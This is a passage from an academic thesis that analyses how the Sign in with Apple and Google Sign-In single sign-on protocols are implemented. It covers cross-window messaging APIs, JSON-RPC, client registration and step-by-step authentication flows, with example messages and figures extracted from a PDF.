within the primary window on alice.com. It implements the MessageChannel
interface [62], which exposes the following properties:

MessageChannel.port1 returns port1 of the channel, which is used by the execution
context that initializes the channel.

MessageChannel.port2 returns port2 of the channel, which is used by the execution
context on the contrary side of the channel.

Both ports implement the MessagePort interface [70], which exposes the following
methods:

MessagePort.postMessage(message, [transfer]) sends the message from the ref-
erenced port through the channel to the contrary port. The target origin
is not specified, since the target window’s execution context must have ac-
cess to the contrary port. Other than that, this method works similar to
Window.postMessage().

MessagePort.start() opens the port – that is, starts to dispatch incoming mes-
sages and send outgoing messages through the channel.

MessagePort.close() closes the port – that is, stops to dispatch incoming messages
and send outgoing messages through the channel.

alice.com
bob.com
alice.com
carol.com
carol.com
bob.com
carol.com
bob.com
carol.com
alice.com
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Primary Window
alice.com

iframe on bob.com

var  por t 2;

f unct i on i ni t ( event )  {
por t 2 = event . por t s[ 0] ;
por t 2. addEvent Li st ener ( " message" ,  channel Recei ver ) ;
por t 2. st ar t ( ) ;

}

f unct i on channel Recei ver ( event )  {
/ /  Recei ved message f r om channel
/ /  event  i mpl ement s MessageEvent

}

wi ndow. addEvent Li st ener ( " message" ,  i ni t ) ;

var  channel  = new MessageChannel ( ) ;
var  por t 1 = channel . por t 1;

f unct i on channel Recei ver ( event )  {
/ /  Recei ved message f r om channel
/ /  event  i mpl ement s MessageEvent

}

por t 1. addEvent Li st ener ( " message" ,  channel Recei ver ) ;
por t 1. st ar t ( ) ;

wi ndow. f r ames[ 0] . post Message( " i ni t " ,  " ht t ps: / / bob. com" ,  [ channel . por t 2] ) ;

MessageEvent

Port 2 Port 1

Figure 2.7: Cross-origin communication with the Channel Messaging API. The primary
window initializes a new MessageChannel and transfers port2 via the postMes-
sage API to the iframe. Both cross-origin windows are able to safely send
messages via port1 and port2 of the MessageChannel.
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2. The primary window on alice.com registers an event listener (cf. Section 2.5.3)
on port1 of the channel and opens the port. If a MessageEvent object is received
on port1, it is passed to the channelReceiver callback.

3. The iframe on bob.com registers an event listener (cf. Section 2.5.3) on its Window
object. If a MessageEvent object is received on the window, it is passed to the init
callback.

4. The primary window sends an initialization message to the iframe with the postMes-
sage API. Thereby, it transfers port2 of the channel to the iframe’s browsing con-
text. Thus, the primary window’s execution context can no longer access port2 of
the channel.

5. Once the iframe receives port2 of the channel within its postMessage callback,
it registers an event listener (cf. Section 2.5.3) on port2 of the channel and
opens the port. If a MessageEvent object is received on port2, it is passed to
the channelReceiver callback.

6. The primary window may send a message to the iframe with port1.postMessage
(message). The iframe will receive the MessageEvent object within its channelReceiver
callback. The same procedure works vice versa, if the iframe may send a message
to the primary window.

The security considerations of the Channel Messaging API are worked out in Sec-
tion 4.2.

2.5.5 Remote Procedure Calls

A Remote Procedure Call (RPC) is a communication technique between two parties: a
client (or caller) and a server . The procedure is defined in RFC 5531 as follows:

“The caller first sends a call message to the server process and waits (blocks) for a
reply message. The call message includes the procedure’s parameters, and the reply
message includes the procedure’s results. Once the reply message is received, the results
of the procedure are extracted, and the caller’s execution is resumed. On the server
side, a process is dormant awaiting the arrival of a call message. When one arrives, the
server process extracts the procedure’s parameters, computes the results, sends a reply
message, and then awaits the next call message.” [82]

In this thesis, RPCs are send via the postMessage API (cf. Section 2.5.3). That is,
a source window sends a RPC request message via the postMessage API to a target
window, which processes the request and finally returns the RPC response message via
the postMessage API as well. Note that this can be applied to the Channel Messaging
API (cf. Section 2.5.4) as well. JSON-RPC provides a simple data structure for the
messages.

alice.com
bob.com
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JSON-RPC 2.0 “JSON-RPC is a stateless, light-weight Remote Procedure Call (RPC)
protocol” [44] based on JSON (cf. Section 2.1) and is structured as follows:

The client invokes a JSON-RPC call on the server by sending the request object in
Listing 2.4:

Listing 2.4: Example of JSON-RPC request object.
1 {"jsonrpc": "2.0", "id": 123, "method": "multiply", "params": {"x": 5, "y": 10}}

Once the server receives the request object, it executes the RPC and finally replies with
the response object in Listing 2.5:

Listing 2.5: Example of JSON-RPC response object.
1 {"jsonrpc": "2.0", "id": 123, "result": 50}

The id parameter is mirrored by the server and used by the client to assign the response
object to the appropriate request object. Note that JSON is supported natively by the
postMessage API, which makes JSON-RPC a suitable protocol for RPCs that are sent
with the postMessage API.
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In this chapter, we reveal how SSO is actually implemented in the wild. In order to
understand widespread implementation practices, three IdPs were selected for further
investigation.

Methodology The criteria for selection of IdPs were: widespread use in practice and
novel design conceptions. As shown in the statistic on Social Login Preference of Global
Internet Users as of 2nd Quarter 2016 [20], Facebook and Google were the two most
commonly used social login platforms in 2016 with approximately 53% and 45% market
share, respectively. These are complemented by the just recently presented Sign in with
Apple service, which promises to introduce novel privacy-preserving methods for SSO.

By choosing three IdPs, we follow qualitative instead of quantitative research approaches.
We focus on in-depth implementation specifics rather than giving a brief overview of
multiple IdPs. Also, it was decided that the best method for this investigation was to
implement the SSO SDKs according to their developer documentation. It was important
to consider all features from the IdP such that no protocol steps were missed. Additional
noisy tra�c on SPs (i.e., caused by ads and analytics) was prevented from pervading the
essential SSO protocol messages. All SSO flows were manually executed in the latest
Google Chrome (v81-85) and captured with Burp Suite. The Burp extension EsPReSSO
was used to identify and highlight SSO-related protocol messages [55]. Also, flows were
executed repetitively in order to detect di�erent behaviors, such as the existent or non-
existent End-User consent. Finally, all flows were exported in Burp Suite’s Extensible
Markup Language (XML) format for archiving purposes. The custom build extension
BurpXMLExportViewer [39] can be used to review the requests and responses within
the XML export file. The SSO protocols described in this thesis are implemented on
https://<IDP>.sso.louisjannett.de where <IDP> is replaced by apple, google, or
facebook.

Out of scope This chapter is not an implementation guide on how to integrate Apple,
Google, and Facebook SSO but rather a discussion on how the Representational State
Transfer (REST) endpoints, protocol structure, protocol flows, and protocol messages
are realized. Thus, the analysis of native app frameworks (i.e. iOS and Android) is
out of scope, since they only provide convenient interfaces for high-level communication
with the REST endpoints. The OAuth 2.0 Device Authorization Grant for devices with
limited input or display capabilities (i.e., smart TVs) is out of scope as well.

https://%3CIDP%3E.sso.louisjannett.de
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Structure This chapter is introduced in Section 3.1 with a brief overview of the SSO
protocols included in the scope of this thesis. The in-depth protocol analyses are revealed
in Sections 3.2 to 3.4. In particular, each section first introduces the IdP, followed by
the Client registration process and the various protocol flow descriptions. Note that this
chapter only introduces the protocol flows and – due to space restrictions – does not
cover each parameter within each protocol message. Further details on the supported
OAuth and OIDC flows, as well as the authnReq, authnResp, tokenReq, and tokenResp
protocol messages are included in Tables A.1 to A.5 in Appendix A.1.

3.1 Overview

In general, the investigated protocols can be classified into two categories: (1) SSO
protocols inspired by standardized OAuth and OIDC flows and (2) SSO protocols in-
spired by custom-designed flows. Accordingly, the real-world SSO services that exhibit
similarities with the standard specifications are introduced as follows:

Sign in with Apple is Apple’s response to an evolving interest in privacy-aware SSO
specifically designed for the Apple ecosystem. As of yet, the protocol is intended
for authentication of End-Users only, whereas the authorization part is reserved
for future use. Section 3.2.2 reveals more details on that.

Google OAuth 2.0 and OpenID Connect 1.0 is one of three SSO systems designed at
Google for standard-compliant authorization and authentication. See Section 3.3
for more details.

Facebook Login represents Facebook’s platform for standard-compliant authorization
but custom authentication that is only inspired by standardized concepts. More
details are explained in Section 3.4.2.

In contrast, the following real-world SSO services are build up on custom design ideas:

Google Sign-In is Google’s preferred choice for SSO integration with Google services
across devices. As shown in Section 3.3.2, the flow is heavily influenced by custom
design patterns.

Google One Tap Sign-In and Sign-Up is a novel approach for user registration and
authentication accomplished with a single tap on a button. At this point, there is
no other known IdP which o�ers similar functionalities. More information is given
in Section 3.3.3.

Facebook Login SDK is based on Facebook Login but introduces several novel design
decisions related to web apps. All details are specified in Section 3.4.3.
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3.2 Identity Provider: Apple

Sign in with Apple was first presented on WWDC19 in June 2019 to the public and
introduces some novel design concepts which enhance user privacy. The relatively strict
App Store guidelines have led to a broad adoption rate in the wild. In fact, apps that use
any third-party social login service (i.e., Google Sign-In or Facebook Login) are required
to also support Sign in with Apple as an equivalent option [3, Section 4.8].

Sign in with Apple features some properties that stand out from other competitive SSO
providers:

2FA Every account on the SP that is created with Sign in with Apple is automatically
protected with Two-Factor Authentication (2FA).

Limited Scope Data collection is limited to the End-User’s name and email address.

Private Email Replay End-User’s may choose to share their real email address with the
SP or alternatively request Apple to generate an anonymous, random email address
that acts as a proxy between the SP and the End-User’s real email account.

Biometrics On Apple devices, End-Users can use their existing authentication on the
device to authenticate with biometrics on the IdP.

Antifraud In the native SDK on iOS devices, Apple combines on-device machine learn-
ing, account history, and hardware attestation to compute a signal that determines
if the End-User is likely to be a real person [8].

Although Sign in with Apple was primarily designed to work in the Apple ecosystem,
the following integration options are provided:

iOS, macOS, tvOS, and watchOS Apple provides native libraries – as part of the Au-
thenticationServices framework1 – that work exclusively on their platforms. These
libraries are tightly integrated into the OS and make use of the existing authenti-
cation on the system (i.e., no embedded or external UA is required). In this thesis,
they are out of scope.

REST Endpoints Apple provides direct access to the authnEndp and tokenEndp such
that websites and apps running on other platforms are able to integrate with Sign
in with Apple as well.

Sign in with Apple JS Apple provides a JS SDK – wrapping the REST endpoints – as
a convenient interface for web developers. The SDK communicates with the REST
endpoints.

Section 3.2.2 contains a single protocol analysis that is valid for both, Sign in with Apple
JS and the REST endpoints.

1More information about the AuthenticationServices framework is available on https://developer.
apple.com/documentation/authenticationservices.

https://developer.apple.com/documentation/authenticationservices
https://developer.apple.com/documentation/authenticationservices
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3.2.1 Client Registration

The manual Client registration ties up on existing native app management policies at
Apple and di�erentiates from the general terms introduced by OAuth and OIDC. Thus,
some concepts used at Apple are introduced first before they are finally applied to the
standard. As an overview, an exemplary Client registration setup could be defined as
follows:

• Primary App ID: <TEAM_ID>.com.sp.app.ios
– Secondary App ID: <TEAM_ID>.com.sp.app.macos
– Services ID: com.sp.web

� Web Domains: sp.com
� Return URLs: https://sp.com/redirect

– Key: 1A2B3C4D5E (kid)
– Notification Endpoint: https://sp.com/notify

• Email Sources: sp.com and/or support@sp.com

The Primary App is a native app and bundles several subordinated native apps (Sec-
ondary Apps) and web apps (Services) into a single configuration setup. For instance,
if the End-User gives consent on the iOS app, the macOS app and web app receives
consent as well. The web domains and return URLs are registered individually for each
web app. All web apps bundled to the Primary App share a common key for Client
authentication. All native apps and web apps report user status updates to the same
notification endpoint. The email sources that are allowed to send emails through the
private email relay are configured globally in the developer account.

App ID In the Apple developer portal, the basic unit that is required for all further con-
figuration is an App ID. This Identifier (ID) specifies an individual native app on the Ap-
ple platform. In particular, it consists of the following two parts: <TEAM_ID>.<BUNDLE_ID>.
While each Apple developer account is assigned a unique Team ID generated by Apple,
developers can individually choose a Bundle ID that identifies their native app in reverse
domain name notation. Finally, the Sign in with Apple capability must be enabled for
the concrete App ID. Developers must always first create an App ID related to a native
app, even if they do not plan to develop a native app but only demand the web app
integration with the JS SDK.

Primary vs. Secondary App ID With regard to Sign in with Apple, an App ID is
further classified as Primary App ID or Secondary App ID, while the latter is linked
to the former. Developers can choose whether their native app should be configured as
a primary app on its own or grouped with an existing primary app. Therefore, they
either select a Primary App ID or a Secondary App ID and the Primary App ID to
group with. In practice, this feature is used to group the same native app on di�erent
platforms (i.e. iOS, macOS) into one logical unit for which the same configuration is

sp.com
https://sp.com/redirect
https://sp.com/notify
sp.com
support@sp.com
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applied. This includes the option to maintain a single backend authentication system
(i.e. user database) that is utilized across di�erent native apps. As a rule, the basic Sign
in with Apple configuration scope is defined by the Primary App ID.

Services ID The configuration of web apps involves the creation of a Services ID, which
is defined in reverse domain name notation as well and associated to an existing Primary
App ID enabled for Sign in with Apple. Developers can register up to 10 website URLs
for each Services ID, for which at least one web domain and one return URL must be
provided. As of yet, the purpose of the registered web domain is not apparent, since it is
not checked at any point during the protocol flow. Table 3.1 summarizes the supported
types of return URLs.

Table 3.1: Redirection mechanisms supported by Apple.
Redirection Mechanism Supp. Notes

Regular Web-Based URI 3 Natively supported.
Private-Use URI Scheme 7 Invalid syntax.
Claimed https URI Scheme 3 Same as regular web-based URI.
Loopback Localhost 7 Invalid syntax.
Loopback IPv4 (3) Can be registered, but throws exception if used

during flow. Registration and flow succeed if
Basic authentication is used: http://user@1
27.0.0.1:8080/redirect. No ephemeral ports
supported.

Loopback IPv6 7 Invalid syntax.
Manual Copy-and-Paste 7 –
Automatic Extraction 7 –

Client Authentication After the Services ID is set up, the Client authentication method
is left to be configured. Apple uses a variant of the private_key_jwt Client authentica-
tion. Therefore, developers need to request a private key, which is enabled with the Sign
in with Apple capability and linked to any Primary App ID2. Apple keeps only track of
the public key once the private key was downloaded by the developer. Also, the key is
revokable in case it is lost or compromised.

Private Email Relay If the SP sends an email to the anonymous email address, the
relay service routes it to the End-User’s real email address, and vice versa. Thus, SPs
are able to communicate over the private email relay service with their users without
knowing their real email addresses. End-Users may choose to stop receiving emails from

2One can register up to two keys for each Primary App ID.

http://user@127.0.0.1:8080/redirect
http://user@127.0.0.1:8080/redirect
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the SP such that the relay server rejects all future emails sent to that address. Only the
SP is allowed to send emails to the private email relay addresses, which prevents spam
in case they are leaked. Therefore, the SP must register email domains or specific email
addresses that are allowed to send emails through the relay service to the End-Users
personal inboxes. Apple requires the registered domains and domains associated with
email addresses to comply with the Sender Policy Framework (SPF) or DomainKeys
Identified Mail (DKIM) [5]. Both standards ensure authenticity of inbound emails.

Notification Endpoint On WWDC20 in June 2020, Apple introduced a server to
server notification endpoint inspired by [77]. Any status updates (i.e., email-enabled,
email-disabled, consent-revoked, and account-delete) on End-Users and their accounts
are sent as signed JWT to an endpoint registered by the SP and scoped to the Primary
App ID.

Application to OAuth and OIDC If the above mentioned concepts are applied to
OAuth and OIDC, the following conclusions can be made:

client_id is the Services ID if the web app JS SDK or REST endpoints are used. Within
the native app SDKs, the client_id is the App ID of the corresponding native app.

client_secret is an ES256 signed JWT [37]. The private key linked to the Primary App
ID is used for signing. The JWT header contains the {"alg": "ES256", "kid":
"<PRIVATE_KEY_ID>"} claims. The JWT body contains the {"iss": "<TEAM_ID>",
"sub": "<CLIENT_ID>", "aud": "https://appleid.apple.com", "iat": 1577836800,
"exp": 1593613800} claims. Contrary to the standard [67, Section 9], the JWT is
intended to be used multiple times, without jti claim and 6 months expiration
time. Also, the JWT is included in the client_secret instead of the standardized
client_assertion.

redirect_uri is any URL from the registered return URLs linked to the Services ID
that matches the client_id.

sub claim is a pairwise subject identifier type that is scoped to the Team ID. Thus, End-
Users are identified with the same sub claim across all apps and services from the
same developer team, but a di�erent sub claim across di�erent developer teams.

The End-User consent is scoped to the Primary App ID. If the End-User accepts the
consent on any Primary/Secondary App ID or Services ID, all other linked IDs are
granted as well. The same applies for the revocation process. The app icon on the
consent page and in the Apple-ID account settings is set by the app associated with the
Primary App ID. The app title on the consent page is the description of the Services ID
that matches the client_id.
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3.2.2 Protocol Description: Sign in with Apple

Figure 3.1 depicts the Sign in with Apple popup flow. The flow uses the web_message
response mode in which the authnResp is returned via postMessage from the popup
window to the primary window. The protocol steps are described as follows:

Sign in on the Service Provider
sp.com/login

/ /  JS f i l e:  appl ei d. aut h. j s 
wi ndow. addEvent Li st ener ( " message" ,
( e)  => {

/ /  Recei ve aut hnResp
/ /  and pass i t  t o devel oper

} ) ;

Sign in with Apple

appleid.apple.com
/auth/authorize?...

/ /  i f  r esponse_mode == quer y
wi ndow. l ocat i on. hr ef  =
r edi r ect _ur i  + " ?"  + . . .

/ /  i f  r esponse_mode == f r agment  
wi ndow. l ocat i on. hr ef  =
r edi r ect _ur i  + " #"  + . . .  

/ /  i f  r esponse_mode == f or m_post  
document . f or ms[ 0] . submi t ( )  

/ /  i f  r esponse_mode == web_message 
wi ndow. opener . post Message( . . . )

wi ndow. open( aut hnReq)

Sign in on sp.com

Apple-ID

Password

Submit

Message
Event

appleid.apple.com
XHR POST:  emai l

/appleauth/auth
/federate200:  f eder at ed=f al se

XHR POST:  emai l , passwor d
/appleauth/auth
/signin409:  aut hType=hsa2

XHR GET

/appleauth/auth
200:  HTML/ CSS/ JS

XHR POST:  mode=sms, code=123456
/appleauth/auth
/verify/phone
/securitycode200:  val i d=t r ue

XHR GET
/appleauth/auth
/2sv/trust204:  Set - Cooki e

XHR GET:  aut hnReq par ams
/appleauth/auth
/oauth/consent     name, emai l , al l owEdi t ,

200:  al l owAnonymous

          aut hnReq par ams,
XHR POST:  emai l , anonymousEmai l =t r ue

/appleauth/auth
/oauth/authorize     code, i d_t oken,

200:  anonymousEmai l

1
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3

4

5

6

7

8

9
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Figure 3.1: Sign in with Apple popup flow. This flow uses the web_message response
mode, which is selected with the use-popup option in the JS SDK.

3.2.2.1 Authentication Request

Step 1 The End-User clicks on the Sign in with Apple button, which opens the authnReq
URL in a new popup window. If a di�erent response mode is applied, the authnReq
URL is opened within the primary window.

The authnReq uses standardized parameters (cf. Table A.2) with following restric-
tions:

response_type Apple supports the OIDC Code Flow (code) and Hybrid Flow (code
id_token). The protocol is intended for authentication only.

scope SPs cannot request private information other than name and/or email. In-
cremental authorization is not supported.
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response_mode In the OIDC Code Flow with no scopes selected, the default re-
sponse mode is set to query, but all other modes are eligible as well. In the
OIDC Hybrid Flow with no scopes selected, the default response mode is set
to fragment. Since the id_token must not be sent as GET parameter, query is
not allowed. If any scope is requested, the response mode must be form_post
or web_message. This is required since the user object in the authnResp must
only be sent as POST or postMessage payload.

redirect_uri Third-party native apps are not provided with the option to redi-
rect to a custom URI schema, for which Apple suggests the following alterna-
tive [7]: (1) the authnEndp redirects to the redirectionEndp on the backend
server, (2) the backend server redeems the code and validates the id_token,
and (3) returns a custom token (i.e., which identifies the native app’s session
with the SP) to the native app with an additional redirect to a custom URI
schema. The refresh_token on the backend is used to periodically verify and
refresh the lifetime of the session.

The JS SDK adds the following custom parameters to the authnReq:

frame_id is a random Universally Unique Identifier (UUID) generated by the SDK.
It is included as HTTP header in all subsequent requests such that Apple can
identify individual flows.

v=1.5.3 is the version of the Sign in with Apple JS SDK.
m=XY specifies the JS SDK initialization options. Developers are provided with two

options to initialize the JS SDK [6]: (1) using <meta> tags3 (m=22) or (2) using
a JS initialization method4 (m=12). If m=02, the state is uninitialized. If m=32,
both options were used.

3.2.2.2 End-User Authentication & Consent (simplified)

Step 2 submits the End-User’s Apple-ID to the federation endpoint, which checks whether
the Apple-ID is part of a federated authentication setup5. On the consumer level,
this endpoint returns false such that the authentication flow based on Apple’s
IdMS can continue.

Step 3 submits the Apple-ID and password to the signin endpoint. Apple does not
keep track of the End-Users session in the UA – re-authentication is required for
each login flow. Since 2FA is required (i.e., the second factor is mandatory for
authentication), it fails with a 409 Conflict response indicating the need of Apple

3I.e., <meta name="appleid-signin-client-id" content="<CLIENT_ID>">
4I.e., AppleID.auth.init({clientId: "<CLIENT_ID>", ...})
5For instance, the Apple Business Manager allows companies to provide managed Apple-IDs to their

employees based on the existing Identity Management System (IdMS), for example Microsoft Azure
Active Directory. Employees may use their existing company account to authenticate on Apple
services. [38]
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2FA (which is called hsa2). If the browser was previously trusted as described in
step 6, this endpoint returns a 200 OK response and continues with step 7.

Step 4 first triggers the backend to send the 2FA code to the End-User and finally
returns the markup for the 2FA modal window.

Step 5 submits the 2FA code to the backend. In this example, the 2FA code was received
via SMS, but other 2FA methods supported by Apple are applicable as well, such
as trusteddevice.

Step 6 depends on the option the End-User selects. If the button “Trust” is clicked,
a cookie is returned that supersedes future 2FA. If the button “Don’t trust” is
clicked, the request is instead sent to /2sv/donttrust, which returns a cookie that
requires future 2FA. If “Later” is clicked, this step is skipped.

Step 7 sends all authnReq parameters to the consent endpoint, which returns the End-
User’s name and real email address. The option allowEdit specifies if the End-
User is permitted to modify the name sent to the SP. The allowAnonymous option
controls whether the End-User is permitted to request an anonymous private email
address from Apple.

Step 8 sends all authnReq parameters and the End-User’s real email address to the
authorize endpoint. If requested by the End-User, Apple generates a private email
address which is returned along with the code and id_token.

3.2.2.3 Authentication Response

Step 9 Based on the response mode, di�erent methods are used to return the stan-
dardized authnResp parameters (cf. Table A.3) to the SP: If the response mode
is query or fragment, the parameters are returned with a redirect using window Ê

.location.href. If the response mode is form_post or web_message, the parameters
are returned along with an additional user object to the SP. Listing 3.1 reveals
the postMessage payload (POST payload looks similar) that is sent from the popup
window back to the primary window.

Step 10 The JS SDK receives the postMessage, extracts the data object, and finally
provides it to the developer. From there on, it is the developer’s responsibility
to securely send the code, id_token, and user object to the backend and further
proceed with the tokenReq.

3.2.2.4 Token Request and Token Response

The tokenEndp (cf. Tables A.4 and A.5) supports the following grant types:
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Listing 3.1: Sign in with Apple postMessage payload. The user object is only returned
the first time the End-User logs in.

1 {
2 "method": "oauthDone",
3 "data": {
4 "authorization": {"code": "ABC", "id_token": "DEF", "state": "GHI"},
5 "user": {
6 "name": {"firstName": "Alice", "middleName":"Allie", "lastName":"Addison"},
7 "email": "<RAND_UID>@privaterelay.appleid.com"
8 }
9 }

10 }

authorization_code is performed according to the standard. The returned access_token
is reserved for future use. Currently, there are no APIs available – except the user
migration endpoint described below – that accept an access_token for authoriza-
tion.

refresh_token is performed according to the standard.

client_credentials is utilized for user migration – a feature to transfer Sign in with
Apple users to another developer account [4, 10]. This feature is required since
the sub claims and private email relay addresses are scoped to the Team ID. For
instance, lets assume Team A transfers its database and native app to Team B.
While the End-User was identified with sub=123 at Team A, it is now identified
with sub=456 at Team B. Thus, Team B is not able to identify the End-User in its
database.

As a solution, Apple generates transfer identifiers, which act as a bridge between
the sender’s team-scoped identifiers and the recipient’s team-scopes identifiers.
Therefore, Team A uses the client_credentials grant with scope=user.migration
to request an access_token. Afterwards, this access_token authorizes access to the
/auth/usermigrationinfo endpoint to request a transfer identifier for each team-
scoped identifier. Then, the transfer identifiers are imported into the database
while the team-scoped identifiers and private email addresses of Team A are deleted
from the database.

Team B must exchange the transfer identifiers for team-scoped identifiers and
private email addresses to complete the transaction. Therefore, it provides the
transfer identifier as input to the /auth/usermigrationinfo endpoint and authorizes
the call with an access_token that is generated using the client_credentials grant
as outlined before. The new user identifiers and private email addresses are specific
to Team B. Thus, the transfer identifiers within the database are finally replaced
by the team-scoped identifiers of Team B.
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In any case, Team A is still able to identify its users, since the original team-
scoped identifiers of Team A remain valid. End-Users can login on both, Team
A and Team B, while Team B never received a subject identifier or private email
address scoped to Team A.

3.3 Identity Provider: Google

The Google Identity Platform combines several identity tools from Google:

Google OAuth 2.0 includes standard-compliant OAuth 2.0 endpoints that provide au-
thorization for several Google APIs, such as the Calendar, Drive, Docs, Fitness,
and Gmail APIs. Since this protocol is standard-compliant, it is summarized in
Tables A.2 to A.5 in Appendix A.1.

Google OpenID Connect 1.0 includes standard-compliant and OpenID certified OpenID
Connect 1.0 endpoints that provide authentication. It uses the same endpoints as
Google OAuth 2.0, but adds support of the openid, profile, and email scopes, as
well as several other OIDC-related parameters. Since this protocol is standard-
compliant, it is summarized in Tables A.2 to A.5 in Appendix A.1.

Google Sign-In is a custom designed authentication protocol for SSO with Google ac-
counts and includes SDKs for Android, iOS, and the web. It is analyzed in Sec-
tion 3.3.2.

Google One Tap Sign-In and Sign-Up facilitates authentication and account creation
with a single tap on a button and includes SDKs for Android and the web. This
protocol relies on a relatively new web API6 introduced in February 2019 and is
uniquely implemented by Google. It is analyzed in Section 3.3.3.

Google Account Linking reverses the roles in which Google acts as a SP to get autho-
rized access by a third-party IdP. That is, users link third-party services to their
Google account such that their Google devices can access and interact with the
third-party services. For instance, the Spotify account is linked to the Google ac-
count such that the Google voice assistant can access the music library on Spotify.
This service is considered as out of scope, because this chapter concentrates on
IdPs in web app scenarios.

Google Firebase provides backend services for user authentication, including password-
based authentication and third-party public IdPs. Firebase is an Identity Broker
that acts as SP for third-party public IdPs (i.e., Apple and Facebook), as well as
IdP for its users. This service is considered as out of scope, because this chapter
concentrates on IdPs in web app scenarios.

6More details on https://developers.google.com/web/updates/2019/02/intersectionob
server-v2.

https://developers.google.com/web/updates/2019/02/intersectionobserver-v2
https://developers.google.com/web/updates/2019/02/intersectionobserver-v2
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3.3.1 Client Registration

Developers must manually register their Clients within the Google APIs & Services
console in a two-step process: (1) the application and consent User Interface (UI) are
configured and (2) the Client credentials are generated. The Clients are configured
individually for each project within the developer account.

The application and consent UI are configured once for each project and are valid
for all Clients contained in that project. If the End-User grants consent to a Client,
all Clients within the same project receive consent as well. The following options are
configured:

App information includes the application’s name, support email address, logo, home-
page link, privacy policy link, and terms of service link that are shown on the
consent UI. If a logo is configured, the application must be verified by Google.

Authorized domains are the domains (not origins) that are allowed to integrate the
Google Sign-In and Google One Tap Sign-In and Sign-Up SDKs. Google uses a
combination of Referer and Origin header validation to ensure that a malicious
website cannot initialize the SDKs with the victim’s client_id.

Scopes that are required by the application must be explicitly specified. The scopes are
categorized as (1) non-sensitive scopes that do not need a manual app verification,
(2) sensitive scopes that require a manual app verification by Google reviewers
(i.e., Calendar), and (3) restricted scopes that require an extended manual security
review (i.e., Gmail and Drive). The openid, email, and profile scopes are non-
sensitive scopes and thus do not require manual app verification. Also, incremental
authorization is supported by Google.

Client Credentials are configured for each Client (i.e., on di�erent platforms) within
the project. Developers create a new OAuth Client by setting up the Client name and
Client type. Besides platform specific Client types that are out of scope (i.e., Android,
Chrome app, iOS, Universal Windows Platform), following Client types are supported:
(1) web applications, (2) TVs and limited input devices, and (3) desktop applications.

TVs and limited input devices use the OAuth 2.0 Device Authorization Grant, which
does not require any redirection mechanisms and is out of scope. Web applications and
desktop applications need redirection mechanisms, which are summarized in Table 3.2.
Web applications additionally require developers to specify authorized JavaScript origins
that are allowed to send API requests on behalf of the related client_id to the Google
servers. These origins are mirrored in the authorized domains mentioned in the previous
configuration step.

Once the configuration is completed, the developer receives a client_id and a symmetric
client_secret, which remains stored in the credential settings.
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Table 3.2: Redirection mechanisms supported by Google.
Redirection Mechanism Supp. Notes

Regular Web-Based URI 3 Only for web application Clients.
Private-Use URI Scheme 3 Only for desktop Clients. Scheme must be set

to reverse domain notation of client_id, i.e.,
com.googleusercontent.apps.123:/redirect.

Claimed https URI Scheme 7 https URI scheme only allowed for web appli-
cation Clients and no desktop Clients.

Loopback Localhost & IPv4
& IPv6

3 Only for desktop Clients with ephemeral ports.
Web application Clients register fixed URL.

Manual Copy-and-Paste 3 Only for desktop Clients. redirect_uri set to
urn:ietf:wg:oauth:2.0:oob.

Automatic Extraction 3 Only for desktop Clients. redirect_uri set to
urn:ietf:wg:oauth:2.0:oob:auto.

3.3.2 Protocol Description: Google Sign-In

The Google Sign-In protocol was first published in 2015 as the OAuth 2.0 IDP-IFrame-
Based Implicit Flow [25]. Although the draft expired in 2016 and was not adopted by
the OAuth Working Group, it is still used in the latest Google Sign-In implementation
(with minor changes). The basic idea is simple yet e�ective: the SP embeds a hidden
iframe – we call this the proxy iframe – provided by Google on its website and uses
the postMessage API for cross-origin communication. Since the proxy iframe is same-
origin with the Google endpoints, it has access to the session on Google, can receive the
authnResp from the authnEndp, and forward it to the SP website using postMessage.

Depending on the End-User authentication and consent, two flows are executed: (1) the
iframe flow without user interaction or (2) the popup flow with user interaction.

3.3.2.1 Google Sign-In: IFrame Flow

Figure 3.2 depicts the iframe flow that is executed if the End-User (1) has an active
session on Google, (2) has valid consent, and (3) did not previously sign out using the
signOut() method of the SDK.

Proxy IFrame Once the Google Sign-In SDK is initialized (gapi.auth2.init()) on the
SP website loaded into the primary window, it adds a hidden iframe to the DOM. This
proxy iframe provides the authnResp and session services on behalf of Google to its
parent – the SP website. The proxy iframe responds to RPCs issued by the SP website
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Primary Window
https://sp.com

iframe on https://accounts.google.com
/o/oauth2/iframe#origin=https://sp.com
&rpcToken=ABC

 {"method": "fireIdpEvent", "params": {"type": "idpReady"}, "rpcToken": "ABC"}

 {"method": "monitorClient", "params": {"clientId": "<SP>"}, "id": "001", "rpcToken":"ABC"} 

 {"id": "001", "result": true, "rpcToken": "ABC"}

{"method": "getSessionSelector", "params": 
{"crossSubDomains": true, "domain": "https://sp.com"}, "id": "002", "rpcToken": "ABC"} 

 {"id": "002", "result": {"hint": "XYZ", "disabled": false}, "rpcToken": "ABC"}

{"method": "getTokenResponse", "params": 
{"clientId": "<SP>", "loginHint": "XYZ", "request": {"redirect_uri": "https://sp.com/redirect", 

"response_type": "token id_token", "scope": "openid profile email"}, "sessionSelector": 
{"crossSubDomains": true, "domain": "https://sp.com"}}, "id": "003", "rpcToken": "ABC"} 

 {"id":"003", "result": {"access_token": "ya29...", "id_token": "eyJh...", "login_hint": "XYZ",
 "token_type": "Bearer", "scope": "email profile openid", "expires_in": 3600}, "rpcToken": "ABC"}

https://accounts.google.com
/o/oauth2/iframerpc

action=checkOrigin
origin=https://sp.com

client_id=<SP>

{"valid":true}

action=issueToken
<authnReq>

<authnResp>

localStorage on accounts.google.com

https://sp.com {"hint": "XYZ", "disabled": false}

sessionStorage on accounts.google.com

https://sp.com {"access_token": "ya29...", ...}

1

2

3

4

5

6

7

Figure 3.2: Google Sign-In iframe flow. This flow is executed if the End-User (1) has an
active session on Google, (2) has valid consent, and (3) did not previously
sign out using the signOut() method of the SDK. Solid lines are postMessage
messages, dashed lines are XHRs or Fetch requests.

and sends events to the SP website when state changes occur on the IdP. It expects two
initialization parameters within its URL as hash fragment:

origin is the origin of the SP website. The proxy iframe will only send or receive
messages to or from this origin. Also, it validates if the origin is whitelisted for
the given client_id (see step 2 & 3).

rpcToken is a random secret shared only between the proxy iframe and the SP website
and must be included in each message sent between both parties. Thus, other
third-party browsing contexts on the SP website are not able to send RPCs to the
proxy iframe, as they do not know the rpcToken.

The non-interactive iframe flow is executed as follows:

Step 1 – idpReady The proxy iframe indicates that it is ready to receive and process
RPCs from the SP website.

Step 2 – monitorClient The SP website registers itself on the proxy iframe. The proxy
iframe protects against malicious websites impersonating the SP by validating the
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origin and client_id. Therefore, the client_id in the RPC and the origin in the
hash fragment are sent to the iframerpc endpoint, which checks if the origin is
